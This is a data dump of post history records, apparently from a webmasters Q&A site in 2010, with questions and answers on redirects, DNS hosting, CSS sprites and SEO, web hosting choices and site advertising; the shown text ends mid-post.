  <row Id="6894" PostHistoryTypeId="2" PostId="3508" RevisionGUID="1bed6916-d502-4e6e-8dc5-e5116460b5c6" CreationDate="2010-10-04T11:59:54.517" UserId="233" Text="I don't think it's a huge problem, as long as the majority of links to your site point to the www version. It's worth setting your preferred domain in [Google Webmaster Tools][1].&#xD;&#xA;&#xD;&#xA;If you have access to any scripting (e.g. PHP) on your site, you can add a script to the home page to handle anyone redirected from the non-www version. Check the REFERER header then redirect to the equivalent page on the www version.&#xD;&#xA;&#xD;&#xA;This will only help users, not search engines, since they generally don't follow multiple redirects. Also, it's best to use a 302 redirect here, because having a 301 from a single URL (www.example.com) to different URLs each time will not work (browsers/SEs will cache the redirect). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/" />
  <row Id="6895" PostHistoryTypeId="2" PostId="3509" RevisionGUID="069ab6cf-4090-4d8c-ba95-2553827b0e89" CreationDate="2010-10-04T12:11:34.093" UserId="1064" Text="You might check out [ZoneEdit][1] - I believe their DNS hosting services can be had for free/cheap.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zoneedit.com/" />
  <row Id="6896" PostHistoryTypeId="2" PostId="3510" RevisionGUID="69742a82-839b-4fb1-8572-08d6d5cbee84" CreationDate="2010-10-04T12:35:46.877" UserId="89" Text="You don't have to do this with the domain registrar, you can use any DNS server in the world.&#xD;&#xA;&#xD;&#xA;Also, most hosting companies give you free DNS services (I suppose you are hosting your site at some hosting company and not at your home)." />
  <row Id="6897" PostHistoryTypeId="2" PostId="3511" RevisionGUID="fe09df7e-61b9-49e4-b283-14d58032793e" CreationDate="2010-10-04T12:40:57.970" UserId="480" Text="Replace `&amp;amp;` with just `&amp;` (it works here). If there are still troubles you may want to add `[L]` to the end (it means that if it matches processing of rules should stop) just in case there is a conflict. Finally check your set-up allows trailing slashes." />
  <row Id="6898" PostHistoryTypeId="2" PostId="3512" RevisionGUID="d67f8f52-6924-451e-ad8f-e5ca18477a91" CreationDate="2010-10-04T13:22:06.467" UserId="204" Text="domain name registration is just that... registration of the domain name. As you've just found out, now you have to get your services hosted (web, email, ftp, etc, etc) and DNS setup so that people can actually reach those services.&#xD;&#xA;&#xD;&#xA;The easiest (and sometimes cheapest) thing to do is have them all done at the same place, but for a variety of reasons (not being cheapest is one) you may not want to do that.&#xD;&#xA;&#xD;&#xA;So to answer your question, YES, you can have your DNS hosted elsewhere. Usually hosting companies will do the DNS as well, so that's probably your best bet and they can guide you through it if you don't know how. &#xD;&#xA;&#xD;&#xA;If you are are hosting your own server (in your house for example), then just DNS service is all you need, although I would think your registrar would do that for you without added cost?" />
  <row Id="6899" PostHistoryTypeId="2" PostId="3513" RevisionGUID="c9141170-2f69-4627-bc31-45df292247a4" CreationDate="2010-10-04T14:17:25.543" UserId="2204" Text="I am using css sprites for buttons on my website, They are used for stop / play, download ect, if im using for example an `&lt;i class=&quot;preview&quot;&gt;preview &quot;track name&quot;&lt;/i&gt;` play button with the text then i hide the text using text-indent:-9999px&#xD;&#xA;&#xD;&#xA;would this be enough to get penalised (keep in mind there can be 60 products per page and each will have 3 sprites with hidden text!)" />
  <row Id="6900" PostHistoryTypeId="1" PostId="3513" RevisionGUID="c9141170-2f69-4627-bc31-45df292247a4" CreationDate="2010-10-04T14:17:25.543" UserId="2204" Text="Using CSS Sprites and Hidden Text - Effect On SEO?" />
  <row Id="6901" PostHistoryTypeId="3" PostId="3513" RevisionGUID="c9141170-2f69-4627-bc31-45df292247a4" CreationDate="2010-10-04T14:17:25.543" UserId="2204" Text="&lt;seo&gt;&lt;css&gt;" />
  <row Id="6902" PostHistoryTypeId="2" PostId="3514" RevisionGUID="32834cc6-8165-4bf6-a892-99254f93bda6" CreationDate="2010-10-04T14:29:56.183" UserId="1253" Text="You'll be fine. Hidden text is only a problem *when it is done for the purposes of manipulating the search engines*. It's not *what* you do but *why* you do it that causes most penalties and this is a perfect example of that. Hidden text in this example is simply a fallback for users who do not have CSS capabilities (rare these days for users but bots are a different story as are screen readers)." />
  <row Id="6903" PostHistoryTypeId="2" PostId="3515" RevisionGUID="51c4a33f-a297-4df5-b96d-1816e462c0a5" CreationDate="2010-10-04T15:48:09.270" UserId="1757" Text="Can't speak for Arvixe's quality, but for $10 more than their VPS plan, you can get a 1GB VPS plan from DreamHost, an established hosting company with a good track record, also with unlimited storage and bandwidth.&#xD;&#xA;&#xD;&#xA;Media Temple is another popular web host, and their 1GB VPS plan is also $50/month (or $41/month if you pay yearly). However, they limit storage to 40GB and bandwidth to 650GB.&#xD;&#xA;&#xD;&#xA;You might also want to look into Amazon EC2. With EC2, Media Temple and DreamHost, you can also scale your hosting plan as needed. That could save you money as well as ensure your app has room to grow (and won't die when there's a sudden traffic spike)." />
  <row Id="6904" PostHistoryTypeId="2" PostId="3516" RevisionGUID="b86f0fa5-36fb-4322-989d-75a6929d3014" CreationDate="2010-10-04T15:51:52.447" UserId="2205" Text="Do you need &quot;true dedicated&quot; or can you get by with a virtual-dedicated? &#xD;&#xA;&#xD;&#xA;If a VPS will work I highly recommend linode.com, slicehost or vps.net.&#xD;&#xA;&#xD;&#xA;If you need true dedicated i would recommend theplanet.com, hostgator.com or servint.net " />
  <row Id="6905" PostHistoryTypeId="5" PostId="3515" RevisionGUID="930caf6e-54fd-4513-bb14-f6da0af60221" CreationDate="2010-10-04T15:58:07.693" UserId="1757" Comment="expand" Text="Can't speak for Arvixe's quality, but for $10 more than their VPS plan, you can get a 1GB VPS plan from DreamHost, an established hosting company with a good track record, also with unlimited storage and bandwidth.&#xD;&#xA;&#xD;&#xA;Media Temple is another popular web host, and their 1GB VPS plan is also $50/month (or $41/month if you pay yearly). However, they limit storage to 40GB and bandwidth to 650GB.&#xD;&#xA;&#xD;&#xA;You might also want to look into Amazon EC2. With EC2, Media Temple and DreamHost, you can also scale your hosting plan as needed. That could save you money as well as ensure your app has room to grow (and won't die when there's a sudden traffic spike).&#xD;&#xA;&#xD;&#xA;If you want a true dedicated server (very few reasons for it these days), then it's going to cost you a lot more ($105+/month for 1GB at Arvixe, $89/month for 4GB at DreamHost). However, DreamHost is currently running a special for $69/month if you sign up for a full year's hosting. I think that's just for the first year though." />
  <row Id="6906" PostHistoryTypeId="2" PostId="3517" RevisionGUID="cac51687-d7e7-4dcb-9000-c966de37c59e" CreationDate="2010-10-04T16:53:01.470" UserId="1074" Text="On another topic, your HTML doesn't validate either!  I'm a firm believer that quality (standards-compliant) code is the first step to a quality site.  You gotta start somewhere....&#xD;&#xA;&#xD;&#xA;There's a lot that goes into quality SEO, and there's no single right answer.  Being a veteran of numerous Realtor-focused websites, I can tell you that SEO is a nightmare because as a group they are in cutthroat competition with their peers.  With ridiculous advertising budgets and an army of SEO-focused companies helping them, some established realtor sites can gum up several of the top spots on their own.  In my market, getting a site in the top 100 results upon launch would be quite a coup." />
  <row Id="6907" PostHistoryTypeId="2" PostId="3518" RevisionGUID="8e90e6ca-7d73-467b-9d5e-006e1a832945" CreationDate="2010-10-04T16:55:04.533" UserId="590" Text="HostMonster&#xD;&#xA;---&#xD;&#xA;they have worked great for me over the last few years,  great support and all the features you need.&#xD;&#xA;&#xD;&#xA;Lunarpages is another host I use that works great and I believe they have all those features." />
  <row Id="6908" PostHistoryTypeId="2" PostId="3519" RevisionGUID="6dc25fe9-c7d8-4dae-83e5-caa015179b5e" CreationDate="2010-10-04T17:21:05.217" UserId="2207" Text="Those servers will run a DNS software (probably BIND) as authoritative servers, which means that if one has no access to a check query in a local DNS, it will ultimately query one of those servers. On those servers, the DNS service must have what is known as a ZONE file. The zone file will host the static information about your hosts of your domain. You can have different types of records, such as NS, A, AAAA, CNAME, MX, etc. You will usually designate one of the two servers as a slave of the other, in a master-slave relationship. This only means that the master is the server that will be copied on to the slave. The master or slave &quot;flag&quot; is part of the configuration file for the NDS software. If you are going to run your own, you will have to play with all those pieces of configuration. Otherwise, if it is configured elsewhere, they will take care of this for you.&#xD;&#xA;&#xD;&#xA;DynDNS can host a custom domain such as your, for a low annual cost, and will provide the second server, with the redundancy that you need.&#xD;&#xA;" />
  <row Id="6909" PostHistoryTypeId="2" PostId="3520" RevisionGUID="063ffad6-f420-403b-b306-b47a26e8cb9e" CreationDate="2010-10-04T19:09:10.867" UserId="1988" Text="Agreeing fully with John Conde's answer, I want to warn you not to remove the text.&#xD;&#xA;&#xD;&#xA;Removing the text will remove information *out of* the page. Search engines cannot read images, let alone CSS sprites; expect to drop in their rankings. Screen readers used by blind people cannot read or describe images; expect to get disappointed customers. &#xD;&#xA;&#xD;&#xA;Finally, I do not know the legal context in your country, but removing that text will make your website inaccessible to blind people, and that may lead to legal problems.&#xD;&#xA;" />
  <row Id="6910" PostHistoryTypeId="2" PostId="3521" RevisionGUID="4d2901a0-2794-418a-b577-a33128cefcc0" CreationDate="2010-10-04T19:15:27.670" UserId="2210" Text="I think I am going to use Google spreadsheets and an embedded form. I see that it is possible to pre-populate the fields with URL parameters. So I think I just need a way to redirect with the correct data from a database when a user goes to their Personalized URL.&#xD;&#xA;&#xD;&#xA;I have no idea how to do the second part. Or if it is even the best way to do it.&#xD;&#xA;&#xD;&#xA;**How do I set up Personalized URLS?**&#xD;&#xA;&#xD;&#xA;**How do I redirect from those URLS to the spreadsheets?**&#xD;&#xA;&#xD;&#xA;**Is this even the best method for pre-filled forms?**" />
  <row Id="6911" PostHistoryTypeId="1" PostId="3521" RevisionGUID="4d2901a0-2794-418a-b577-a33128cefcc0" CreationDate="2010-10-04T19:15:27.670" UserId="2210" Text="Personalized URL with pre-populated data" />
  <row Id="6912" PostHistoryTypeId="3" PostId="3521" RevisionGUID="4d2901a0-2794-418a-b577-a33128cefcc0" CreationDate="2010-10-04T19:15:27.670" UserId="2210" Text="&lt;redirects&gt;&lt;forms&gt;" />
  <row Id="6913" PostHistoryTypeId="2" PostId="3522" RevisionGUID="7525952b-fcce-4b1d-91ee-4b34810f2950" CreationDate="2010-10-04T19:35:36.020" UserId="1243" Text="From [Google Webmaster Central - Paid Links](http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=66736)&#xD;&#xA;&#xD;&#xA;&gt; Buying or selling links that pass&#xD;&#xA;&gt; PageRank [_ie. that don't include&#xD;&#xA;&gt; `rel=&quot;nofollow&quot;`_*] is in violation of&#xD;&#xA;&gt; Google's Webmaster Guidelines and can&#xD;&#xA;&gt; negatively impact a site's ranking in&#xD;&#xA;&gt; search results.&#xD;&#xA;&#xD;&#xA;\* Note that using `rel=&quot;nofollow&quot;` isn't the only way to prevent PageRank from being passed, as mentioned further down that linked article.&#xD;&#xA;&#xD;&#xA;See also [Google Webmaster Central - About rel=&quot;nofollow&quot;](http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=96569)" />
  <row Id="6914" PostHistoryTypeId="2" PostId="3523" RevisionGUID="577c27a6-368a-43ec-853e-5954a720036c" CreationDate="2010-10-04T20:39:09.640" UserId="19" Text="I am about to undertake a visual re-design of the site but recently several companies have contacted me about selling ad space on my site. Up until now, I have just thrown in some AdSense text-ads (wherever they fit on the page). Before I do the re-design I want to take a step back and make sure it is both user and advertiser friendly.&#xD;&#xA;&#xD;&#xA;Are there any good guidelines and/or resources to help me design a site with advertising in mind?" />
  <row Id="6915" PostHistoryTypeId="1" PostId="3523" RevisionGUID="577c27a6-368a-43ec-853e-5954a720036c" CreationDate="2010-10-04T20:39:09.640" UserId="19" Text="How to design a site that is advertiser friendly?" />
  <row Id="6916" PostHistoryTypeId="3" PostId="3523" RevisionGUID="577c27a6-368a-43ec-853e-5954a720036c" CreationDate="2010-10-04T20:39:09.640" UserId="19" Text="&lt;website-design&gt;&lt;advertising&gt;" />
  <row Id="6917" PostHistoryTypeId="16" PostId="3523" RevisionGUID="577c27a6-368a-43ec-853e-5954a720036c" CreationDate="2010-10-04T20:39:09.640" UserId="19" />
  <row Id="6918" PostHistoryTypeId="2" PostId="3524" RevisionGUID="4feddeed-6eb0-40de-9966-c441dd2d9cc4" CreationDate="2010-10-04T20:48:44.187" UserId="2211" Text="I am looking to find a web hosting provider that provides ASP.NET and PHP hosting. The purpose is pretty much just a programming playground for me to develop in and possible show some of my work.&#xD;&#xA;&#xD;&#xA;As I use ASP.NET and PHP I am looking for a provider that provides hosting for both of these technologies as well as access to MS SQL Server and MySQL.&#xD;&#xA;&#xD;&#xA;Of course I am on a budget so I really can't afford to pay more than $20/month. I had looked at M6.net however in scanning for reviews I found a good deal of negative feedback. I currently use DownTownHost.com and have a good experience with them, however they do not support ASP.NET.&#xD;&#xA;&#xD;&#xA;I do not require email hosting though I know most packages include it anyway. Thanks for any suggestions.&#xD;&#xA;&#xD;&#xA;Some features that are important to me:&#xD;&#xA;&#xD;&#xA;    * ASP.NET 4 hosting&#xD;&#xA;    * ASP.NET MVC support&#xD;&#xA;    * PHP&#xD;&#xA;    * MySQL&#xD;&#xA;    * SQL Server&#xD;&#xA;    * URL Rewrite support&#xD;&#xA;    * multiple sites under one account&#xD;&#xA;" />
  <row Id="6919" PostHistoryTypeId="1" PostId="3524" RevisionGUID="4feddeed-6eb0-40de-9966-c441dd2d9cc4" CreationDate="2010-10-04T20:48:44.187" UserId="2211" Text="ASP.NET, PHP, SQL Server, MySQL hosting provider for developer?" />
  <row Id="6920" PostHistoryTypeId="3" PostId="3524" RevisionGUID="4feddeed-6eb0-40de-9966-c441dd2d9cc4" CreationDate="2010-10-04T20:48:44.187" UserId="2211" Text="&lt;php&gt;&lt;asp.net&gt;&lt;mysql&gt;" />
  <row Id="6921" PostHistoryTypeId="2" PostId="3525" RevisionGUID="43971070-3be7-422f-bd79-3389d9af17a3" CreationDate="2010-10-04T21:26:18.683" UserId="110" Text="[http://www.godaddy.com/hosting/web-hosting.aspx?ci=9009#details][1]&#xD;&#xA;&#xD;&#xA;This is the account that I have used for quite a while.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.godaddy.com/hosting/web-hosting.aspx?ci=9009#details" />
  <row Id="6922" PostHistoryTypeId="16" PostId="3525" RevisionGUID="720cab29-a149-4acc-8bcd-a6d1687c38cd" CreationDate="2010-10-04T21:37:00.820" UserId="110" />
  <row Id="6923" PostHistoryTypeId="5" PostId="3523" RevisionGUID="7d7eafa2-5d5c-4498-8eac-75d696362f63" CreationDate="2010-10-04T21:39:02.183" UserId="19" Comment="added 4 characters in body" Text="I am about to undertake a visual re-design of the site but recently several companies have contacted me about selling ad space on my site. Up until now, I have just thrown in some AdSense text-ads (wherever they fit on the page). Before I do the re-design I want to take a step back and make sure it is both user and advertiser friendly.&#xD;&#xA;&#xD;&#xA;Are there any good guidelines and/or resources to help me structure my site with advertising in mind?" />
  <row Id="6924" PostHistoryTypeId="2" PostId="3526" RevisionGUID="80352d07-0918-43a6-b0df-34a5c97d90bf" CreationDate="2010-10-04T21:59:28.157" UserId="2213" Text="Can i put my PO Box Address in Street Address field in google adsense ?&#xD;&#xA;&#xD;&#xA;I mean here :&#xD;&#xA;[https://www.google.com/adsense/g-app-single-1?hl=en][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense/g-app-single-1?hl=en&#xD;&#xA;&#xD;&#xA;can you give me examples." />
  <row Id="6925" PostHistoryTypeId="1" PostId="3526" RevisionGUID="80352d07-0918-43a6-b0df-34a5c97d90bf" CreationDate="2010-10-04T21:59:28.157" UserId="2213" Text="Can i put my PO Box Address in Street Address field  in google adsense ?" />
  <row Id="6926" PostHistoryTypeId="3" PostId="3526" RevisionGUID="80352d07-0918-43a6-b0df-34a5c97d90bf" CreationDate="2010-10-04T21:59:28.157" UserId="2213" Text="&lt;google&gt;&lt;google-adsense&gt;" />
  <row Id="6927" PostHistoryTypeId="5" PostId="3485" RevisionGUID="a625cde9-0af2-4651-baf8-9c50267cf6d1" CreationDate="2010-10-04T22:04:55.653" UserId="745" Comment="added 121 characters in body" Text="You can also take a look at these lists of RSS directories:&#xD;&#xA;&#xD;&#xA; - [55 RSS Directories][1]&#xD;&#xA; - [RSS and Blog Directories][2]&#xD;&#xA; - [RSS Directories][3]&#xD;&#xA; - [500 Places to Syndicate Your Content][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.masternewmedia.org/rss/top55/&#xD;&#xA;  [2]: http://www.toprankblog.com/rss-blog-directories/&#xD;&#xA;  [3]: http://npxp.com/rss-directories-list&#xD;&#xA;  [4]: http://www.buzzblogger.com/500-places-to-syndicate-your-content/" />
  <row Id="6928" PostHistoryTypeId="2" PostId="3527" RevisionGUID="8223cbd4-d7b6-4f41-acf7-a950b3ec2d13" CreationDate="2010-10-04T22:57:55.957" UserId="1757" Text="You really don't have to (and shouldn't try to) structure your site around advertising. It should be designed based solely on usability. If you want ads, then just leave some space in the masthead area for leaderboard ads, or on the sides for skyscraper ads. That's about all the consideration you need. But even if you don't leave space explicitly for ads (and can't find ways to make space after the fact), a lot of sites are quite successful with inline ads." />
  <row Id="6929" PostHistoryTypeId="16" PostId="3527" RevisionGUID="8223cbd4-d7b6-4f41-acf7-a950b3ec2d13" CreationDate="2010-10-04T22:57:55.957" UserId="-1" />
  <row Id="6930" PostHistoryTypeId="2" PostId="3528" RevisionGUID="5ad942e2-6aba-45a3-b4ba-0dd87dc66f10" CreationDate="2010-10-05T02:38:11.363" UserId="1074" Text="Ads are a slippery slope and can be a lot of work if you do them on your own.  Things you'll have to worry about include what to do with excess inventory, how to maintain guarantees when you have too much inventory, how to deliver accurate metrics to customers.  The companies you'll be competing against do this for a living and have sales people who you'll be competing against.  And, unfortunately, it's just not as simple as slapping an image on a page and sending them a copy of your Google Analytics.....at least, it won't be good enough for long.  Clients (especially paying ones) always find a way to need more....&#xD;&#xA;&#xD;&#xA;That being said, I tell my designers to do two things with ads:  &#xD;&#xA;&#xD;&#xA; 1. Follow IAB standards   &#xD;&#xA; 2. Don't waste my &quot;prime real estate&quot; with ads&#xD;&#xA;&#xD;&#xA;Good luck.  Don't go overboard!" />
  <row Id="6931" PostHistoryTypeId="16" PostId="3528" RevisionGUID="5ad942e2-6aba-45a3-b4ba-0dd87dc66f10" CreationDate="2010-10-05T02:38:11.363" UserId="-1" />
  <row Id="6932" PostHistoryTypeId="5" PostId="3528" RevisionGUID="f9b985f6-f29f-45a4-8bee-ab8b8a740f2d" CreationDate="2010-10-05T02:51:49.300" UserId="19" Comment="added link to IAB standards" Text="Ads are a slippery slope and can be a lot of work if you do them on your own.  Things you'll have to worry about include what to do with excess inventory, how to maintain guarantees when you have too much inventory, how to deliver accurate metrics to customers.  The companies you'll be competing against do this for a living and have sales people who you'll be competing against.  And, unfortunately, it's just not as simple as slapping an image on a page and sending them a copy of your Google Analytics.....at least, it won't be good enough for long.  Clients (especially paying ones) always find a way to need more....&#xD;&#xA;&#xD;&#xA;That being said, I tell my designers to do two things with ads:  &#xD;&#xA;&#xD;&#xA; 1. Follow [IAB standards][1]   &#xD;&#xA; 2. Don't waste my &quot;prime real estate&quot; with ads&#xD;&#xA;&#xD;&#xA;Good luck.  Don't go overboard!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iab.net/iab_products_and_industry_services/508676/508767" />
  <row Id="6933" PostHistoryTypeId="2" PostId="3529" RevisionGUID="1a7ea02d-0fe2-4185-bf56-35fd9a033311" CreationDate="2010-10-05T02:53:25.143" UserId="108" Text="I think that http://www.godaddy.com/hosting/web-hosting.aspx?ci=9009#details is a good source for what Godaddy is currently hosting.  However, I am fairly certain that they do not allow for URL Rewrite.  I know they didn't 2 months ago.&#xD;&#xA;&#xD;&#xA;Also, GoDaddy just turned on .NET 4.0 and MVC 2 support.  It usually takes them 8+ months after release for them to upgrade their servers.  I also believe they are stilling running SQL Server 2005.&#xD;&#xA;&#xD;&#xA;Also, any host running IIS7 should be able to support PHP as IIS7 and above support PHP (earlier versions could but I don't know).&#xD;&#xA;&#xD;&#xA;Microsoft has a page about many of the hosters out there that support their technology.  Checkout http://www.microsoft.com/web/hosting/home for an list of hosts and you an see how people reviewed all of them." />
  <row Id="6934" PostHistoryTypeId="2" PostId="3530" RevisionGUID="10478159-c835-44c8-ad5e-3a592c3f3913" CreationDate="2010-10-05T02:57:47.870" UserId="108" Text="If you plan on using CSS spriting with your `&lt;a&gt;` tags directly (which is probably the best way to do it for links) you should definitely make sure to have an alt property in each of your sprited image links that explains what the link is to with a few words.  &#xD;&#xA;&#xD;&#xA;This can literally be the text of what your link image.  This will also solve the issue of how your site works for the blind as pages for the blind will read the alt tags.  Doing this may allow you to not need the extra hiddens tags though I don't think having them will cause any specific issue." />
  <row Id="6935" PostHistoryTypeId="2" PostId="3531" RevisionGUID="db06b843-7201-46f0-839e-5d27b10289ff" CreationDate="2010-10-05T03:00:37.227" UserId="108" Text="This is a list of many of the .NET hosters out there that Microsoft supports, http://www.microsoft.com/web/hosting/home.  You can check out price ranges, reviews, etc.&#xD;&#xA;&#xD;&#xA;Another great host if you are into the LAMP stack is Slice Host, http://www.slicehost.com/.  They are great for scalability as your site grows and for a multi-purpose host that you have more control over." />
  <row Id="6936" PostHistoryTypeId="2" PostId="3532" RevisionGUID="12afe345-44e5-4129-b4cc-6fb3d823e154" CreationDate="2010-10-05T03:07:56.110" UserId="108" Text="Facebook login integration will let you do just about anything you want.  One complaint people have is that it changes pretty often and that you need to invest a decent amount of time in keeping up with it.  If your goal is to stick with Facebook only and use a lot of the more advanced features then there is value in using it.&#xD;&#xA;&#xD;&#xA;However, if you are looking for an easy solution check out http://www.janrain.com/.  There is a free plan and multiple levels of pay for service plans. They also let you connect to more than 1 login provider (OpenID, Twitter, etc).  If you want to learn about the service checkout [This Week in Startups show #73][1] for an interview with one of the founders.&#xD;&#xA;&#xD;&#xA;Just to be clear, I don't work for or have any vested interested in Janrain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thisweekin.com/thisweekin-startups/this-week-in-startups-73-with-larry-drebes-of-janrain/" />
  <row Id="6937" PostHistoryTypeId="2" PostId="3533" RevisionGUID="e06d91ba-cb97-48a2-86ea-ad1cc198aa14" CreationDate="2010-10-05T05:10:23.517" UserId="223" Text="I recently wrote a blog post about [&quot;VPS/VM vs Dedicated vs Cloud Servers: Hosting options and cost comparisons&quot;][1], and have to agree with others that say you should look into VM or VPS hosting options before jumping into a dedicated server. There are lots of hosting providers that offer virtual machines for a lot cheaper than what you can get a dedicated server for. &#xD;&#xA;&#xD;&#xA;I'd recommend that you look at [Superb.net][2] and compare their [Virtual Private Server][3] (VPS) and [Dedicated servers][4]. Dedicated usually starts around $70-$80 a month, where as VPS usually starts around $20 a month. They also have some nice high end virtual servers for reasonable prices, such as 4GB RAM, 8 cores, 320GB Hard Drive, and 4000GB bandwidth for $150 a month. They have an introductory special going on right now for 25% that knocks it down to $112.50, which is much cheaper than a comparable dedicated server. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codeblog.theg2.net/2010/10/vpsvm-vs-dedicated-vs-cloud-servers.html&#xD;&#xA;  [2]: http://Superb.net&#xD;&#xA;  [3]: http://www.superb.net/vps/compare-hosting-plans.php&#xD;&#xA;  [4]: http://www.superb.net/dedicated-servers/base-server-plans/" />
  <row Id="6938" PostHistoryTypeId="2" PostId="3534" RevisionGUID="564ab992-54fe-4a95-8869-b5560397d30c" CreationDate="2010-10-05T05:14:33.930" UserId="223" Text="[Netstat][1] provides real-time IP connection information, but it will not tell you which website they are visiting. I use it all the time to check how many users are on the server before doing patches etc.&#xD;&#xA;&#xD;&#xA;As for getting which website they are connected to, you would need to parse through the log files for that information or use a real time web analytic tool.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Netstat" />
  <row Id="6939" PostHistoryTypeId="2" PostId="3535" RevisionGUID="7fa2684d-1ba5-41f4-adca-045b44abcb68" CreationDate="2010-10-05T05:22:33.303" UserId="223" Text="Cloud hosting has a lot of different meanings, but if you are talking about Platform as a Service (PaaS) or Infrastructure as a Service (IaaS) then the main benefits are usually the ability to scale out to multiple servers and pay hourly instead of monthly. I wrote a blog post about [VPS/VM vs Dedicated vs Cloud Servers: Hosting options and cost comparisons][1], and from your question it sounds like you would do just fine with a Virtual Private Server (VPS) or VM hosting provider. If uptime is your highest concern than using a Cloud hosting provider with multiple VMs behind a load balancer is your best bet for high availability. By using multiple servers you can take one down for maintinence / upgrades and not have any downtime.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codeblog.theg2.net/2010/10/vpsvm-vs-dedicated-vs-cloud-servers.html" />
  <row Id="6940" PostHistoryTypeId="2" PostId="3536" RevisionGUID="eac42c5b-0b32-4fec-8ed5-999980455ffa" CreationDate="2010-10-05T07:47:41.820" UserDisplayName="Kombuwa" Text="i am managing Lil bit big online teaching website(1gb).&#xD;&#xA;it was bit pain when we talk about getting backup from the my Host.&#xD;&#xA;and my internet speed also dam slow. because of it i am currently use my hotfile premium account Remote upload facility to back up my site. but the problem is these hotfile backup files life time is too short(30 days). i need alternative for this.&#xD;&#xA;&#xD;&#xA;my requirements.&#xD;&#xA;&#xD;&#xA; 1. ability to upload 1gb file.&#xD;&#xA; 2. Remote upload facility smiler to hotfile.com&#xD;&#xA; 3. long life time for files(3-6 months).&#xD;&#xA; 4. good download speed smiler to hotfile.com&#xD;&#xA; 5. can pay nearly $10 per month&#xD;&#xA;&#xD;&#xA;please help me to solve this." />
  <row Id="6941" PostHistoryTypeId="1" PostId="3536" RevisionGUID="eac42c5b-0b32-4fec-8ed5-999980455ffa" CreationDate="2010-10-05T07:47:41.820" UserDisplayName="Kombuwa" Text="Online Website Backup Solution ?" />
  <row Id="6942" PostHistoryTypeId="3" PostId="3536" RevisionGUID="eac42c5b-0b32-4fec-8ed5-999980455ffa" CreationDate="2010-10-05T07:47:41.820" UserDisplayName="Kombuwa" Text="&lt;backups&gt;" />
  <row Id="6943" PostHistoryTypeId="2" PostId="3537" RevisionGUID="d7c2b209-dcc7-4e55-ac72-d50ed823fe7f" CreationDate="2010-10-05T10:38:03.227" UserId="910" Text="These days I will not register with a website if the website has not already proved its **greate** value to me.   However I am more willing to login with Facebook or gmail (openID) as I don't have the pain of yet another password.&#xD;&#xA;&#xD;&#xA;So if you website MUST make people log in, then you are likely to get more users with Facebook connect and openId.&#xD;&#xA;&#xD;&#xA;However remember that Facebook Connect (and gmail) is blocked on a lot of work networks." />
  <row Id="6944" PostHistoryTypeId="2" PostId="3538" RevisionGUID="34cd53e3-0296-4852-9376-bde85b90282d" CreationDate="2010-10-05T14:04:46.200" UserId="2221" Text="I think google will treat all url differently.&#xD;&#xA;&#xD;&#xA;I think there is huge benefits or opportunity loss in the choice of domain names.&#xD;&#xA;&#xD;&#xA;I came to the conclusion there are two major variables in SEO:&#xD;&#xA;&#xD;&#xA;1. keywords match in **[domain name]/[URL]/[Title]/[Content]** **in the order of importance**&#xD;&#xA;&#xD;&#xA;2. **domain age** (since when is the site up -&gt; google does not favor brand new sites, but after say three months you're considered old enough; this all depends on the competition on the keywords you are competing in)&#xD;&#xA;&#xD;&#xA;Just surf the net and you will find thousands of examples where sites are high in google but offer poor content/service; and great content sites rank poorly...&#xD;&#xA;&#xD;&#xA;Some examples of sites that appear high in Google SERPs but have, in my opinion, poor content:&#xD;&#xA;&#xD;&#xA;Google.com search on ‘check Domain age’&#xD;&#xA;http://www.google.com/#sclient=psy&amp;hl=en&amp;q=check+domain+age&amp;aq=f&amp;aqi=g1g-m2&amp;aql=&amp;oq=&amp;gs_rfai=&amp;pbx=1&amp;fp=a0f70eea93606c3a&#xD;&#xA;&#xD;&#xA;checkdomainage.com is SERP 9 when it is actually poor service: they don’t give the domain age, just links that are probably PPC.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Google bot does not know if the content of a site is actually good. But google know that there is an **exact match** between the site name and title and your searched keywords.&#xD;&#xA;&#xD;&#xA;You need to look for the keywords that matter for you in terms of traffic (use SEMRush.com, or Google Adwords Keyword tool), and get the domain name (with exact match, that's important). then do not add too many other keywords: **crowded URL will dilute the SEO power** of your URL.&#xD;&#xA;&#xD;&#xA;That's why I would advise StackExchange to go for individual domain names chosen specifically for each site. And to invest few hundreds of dollars in the promising SE sites.&#xD;&#xA;&#xD;&#xA;I believe to have subdomains of stackexchange.com will not hep SEO. It also does not look good to the eye of the search engine users.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6945" PostHistoryTypeId="2" PostId="3539" RevisionGUID="40cfeeb4-ef94-4c90-b518-06e30d1b85da" CreationDate="2010-10-05T14:14:46.873" UserId="2221" Text="Nobody mentioned the **domain name** yet...?&#xD;&#xA;&#xD;&#xA;Look again at the SERP for 'bulgarian properties' on google.&#xD;&#xA;**SERP 1 is bulgarianproperties.com**  surprise surprise...&#xD;&#xA;and SERP 2 is whichbulgarianproperties.com&#xD;&#xA;Do you see a pattern?&#xD;&#xA;Do you see anything in bold in the google SERPs?&#xD;&#xA;&#xD;&#xA;The domain name on a 2 words keyword search is the most important parameter...&#xD;&#xA;&#xD;&#xA;Grab yourself a domain name **bulgarianproperties.something** (it's ok to use .hm, .cc, etc).&#xD;&#xA;Extension is not so important as long as you have **EXACTLY 'bulgarianproperties'** in your domain name.&#xD;&#xA;&#xD;&#xA;Once you have this domain, set up your site.. get it indexed... **wait three months** and you should be in the top page.... unless it's a really competitive market.&#xD;&#xA;If it is too competitive **find a niche**: check Google Adwords keyword tool or SEMRush.com,&#xD;&#xA;and look for keywords that are searched less -&gt; usually if you can get the **exact keyword match + .com** that's a very good site you can corner the market and be SERP 1 in google.&#xD;&#xA;&#xD;&#xA;Oh and make sure to also have an exact match on the TITLE of your main page.&#xD;&#xA;&#xD;&#xA;Best of 